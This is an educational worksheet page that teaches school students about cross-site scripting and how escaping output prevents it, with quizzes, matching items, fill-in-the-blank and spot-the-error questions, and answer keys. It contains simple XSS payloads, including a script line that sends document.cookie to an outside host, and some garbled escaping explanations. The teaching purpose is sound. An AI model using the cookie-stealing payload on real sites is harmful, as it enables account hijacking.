← ACARA Digital Technologies Years 9–10

Cross-site scripting (XSS)

An attack where a page shows untrusted input, like a comment, without cleaning it, so the attacker's script runs in other users' browsers and can steal cookies. Escape output to stop it.

Part of: ACARA Digital Technologies Years 9–10 — Cyber Security Threats and Vulnerabilities — Module 58, WA Computer Science ATAR Year 11 — Cyber Security — Module 52

Understanding Cross-site scripting (XSS) in ACARA Digital Technologies Years 9–10

What it does: Replacing < and > with < and > means the browser displays the tag as plain text rather than running it. Calling an escape or sanitise function on the comment before it is displayed removes the chance for it to run as code. XSS happens when a page displays untrusted input, like a comment, without cleaning it, so the script runs in other people's browsers. A script running in the visitor's browser can read cookies. A stolen session cookie can let the attacker pretend to be that user. Escaping changes < to < so the browser treats it as text to display, not as a tag to run.

Common mistakes: The comment is untrusted input. Adding it to the page without escaping lets a script typed into the comment box run in other users' browsers. It should be html ← "<p>" + escape(comment). strip() only removes spaces at the ends of the text. It does not turn < and > into harmless characters, so a script would still run. It should be safe = html.escape(c).

Class: _____________________ · Name: _____________________ · Date: _________

Free printable worksheet with full answer key — or add this module to a class and your students practise it interactively.

🖨 Print worksheet + answer key Add Cross-site scripting (XSS) to a class →

This module's key terms are also in a printable crossword (Modules 782–809) and word search (Modules 743–809).

Take this worksheet further — free with Cloodit

Each concept is reinforced from every angle — learned, then applied, then tested.

Learning

Duo

A student types <script>alert('hi')</script> into a comment box and the page runs it for every visitor. What is this attack called?

A denial of service attackCross-site scripting (XSS)

Matches

page.show(comment) // comment shown as raw HTML

↓

The page displays untrusted input without cleaning it, so a script in the comment would run in other users' browsers (XSS)

Applying

Meanings

Term

XSS

Meaning

An attack where a page shows untrusted input, like a comment, without cleaning it, so the attacker's script runs in other users' browsers and can steal cookies. Escape output to stop it.

Practice

<h2>Comments</h2>

Testing

Gaps

<>alert("XSS")</script>

Check Answer

Spots

1comment ← getInput()

2html ← "<p>" + comment

Cloodit turns curriculum-aligned coding content into journeys students work through one biome at a time.

Students earn collectable badges

Over 100 of them, across seven natural biomes.

Study Buddy

Students build a real study resource

Turns their work into revision material ready for Flash Cards and Exam study.

Diamond Dash — one of Cloodit's live, competitive Sprint games

Students lock in with Sprints

Live, competitive practice for the start of the lesson or a teacher-led lesson finisher.

A Cloodit certificate of achievement, ready to personalise and print

Custom printable certificates

Honour your top performers, or encourage a student who's trying hard — ready to print in seconds.

Add to class →

Quick Questions

1. A student types <script>alert('hi')</script> into a comment box and the page runs it for every visitor. What is this attack called?

A. A denial of service attack

B. Cross-site scripting (XSS) ✓

XSS happens when a page displays untrusted input, like a comment, without cleaning it, so the script runs in other people's browsers.

2. Why does a script typed into a comment box run in other users' browsers?

A. The comment box turns off the browser's security

B. The page shows the comment as HTML without cleaning it ✓

The browser can't tell the attacker's script from the site's own code if the page outputs the comment without cleaning it.

3. What might an attacker's script try to steal from a visitor's browser?

A. Their session cookie ✓

B. The website's server hardware

A script running in the visitor's browser can read cookies. A stolen session cookie can let the attacker pretend to be that user.

4. Which is the best way to stop XSS from a comment box?

A. Escape the output so < and > show as plain text ✓

B. Make the comment box wider

Escaping or sanitising output turns characters like < into harmless text, so the browser shows the comment instead of running it.

5. After escaping, the comment <script> is shown on the page as what?

A. Plain text that the browser displays but does not run ✓

B. A working script that runs silently

Escaping changes < to < so the browser treats it as text to display, not as a tag to run.

Match the Pairs

document.cookie → The cookie data a script can read in the browser, which an XSS attack may steal to take over a user's login

Escaping output turns special characters into harmless text so the browser shows them instead of running them → <script> replaces <script>

Cleaning (sanitising) user input before showing it stops untrusted comments from running as scripts → comment = escape_html(comment)

page.show(comment) // comment shown as raw HTML → The page displays untrusted input without cleaning it, so a script in the comment would run in other users' browsers (XSS)

Fix for XSS: hide the comment box but still show old comments unescaped → Hiding the box does not fix the cause because stored comments are still output without escaping, so scripts can still run

Key Term

XSS

An attack where a page shows untrusted input, like a comment, without cleaning it, so the attacker's script runs in other users' browsers and can steal cookies. Escape output to stop it.

Fill in the Blanks

1. <script>alert("XSS")</script>

Hint: Type the HTML tag name that tells the browser to run code, as an attacker might type into a comment box.

2. img.src = "x.io/?" + document.cookie;

Hint: Type the browser property that holds the page's cookies, which a stolen-cookie script sends to the attacker.

3. // Safe: shows comment as plain text box.textContent = comment;

Hint: Type the property that displays input as plain text, so any script in it is not run.

4. // Risky: comment is parsed as HTML box.innerHTML = comment;

Hint: Type the property that treats untrusted input as HTML, which makes XSS possible.

5. import html safe = html.escape(comment) page = "<p>" + safe + "</p>"

Hint: Type the function name that turns characters like < and > into harmless text before the page shows them.

Spot the Error

Question 1

A comment ← getInput()

B html ← "<p>" + comment

C show(html)

Line B — The comment is untrusted input. Adding it to the page without escaping lets a script typed into the comment box run in other users' browsers. It should be html ← "<p>" + escape(comment).

Question 2

A import html

B c = request.form["comment"]

C safe = c.strip()

D page = "<p>" + safe + "</p>"

Line C — strip() only removes spaces at the ends of the text. It does not turn < and > into harmless characters, so a script would still run. It should be safe = html.escape(c).

Question 3

A <p>Great post!</p>

B <script>

C send(document.title);

D </script>

Line C — An XSS attacker steals cookies by reading document.cookie. The title is not a secret and would be useless for hijacking an account. It should be send(document.cookie);.

Question 4

A import html

B name = request.args["name"]

C safe = html.escape("name")

D return f"<h1>Hi {safe}</h1>"

Line C — This escapes the fixed text "name" instead of the user's input. The variable name still holds the untrusted value. It should be safe = html.escape(name).

Question 5

A text ← getComment()

B clean ← lowercase(text)

C display(clean)

Line B — Changing the case does not stop a script tag working. The text must be escaped so < and > are shown as plain characters. It should be clean ← escapeHtml(text).

Student with a class code? Join your class →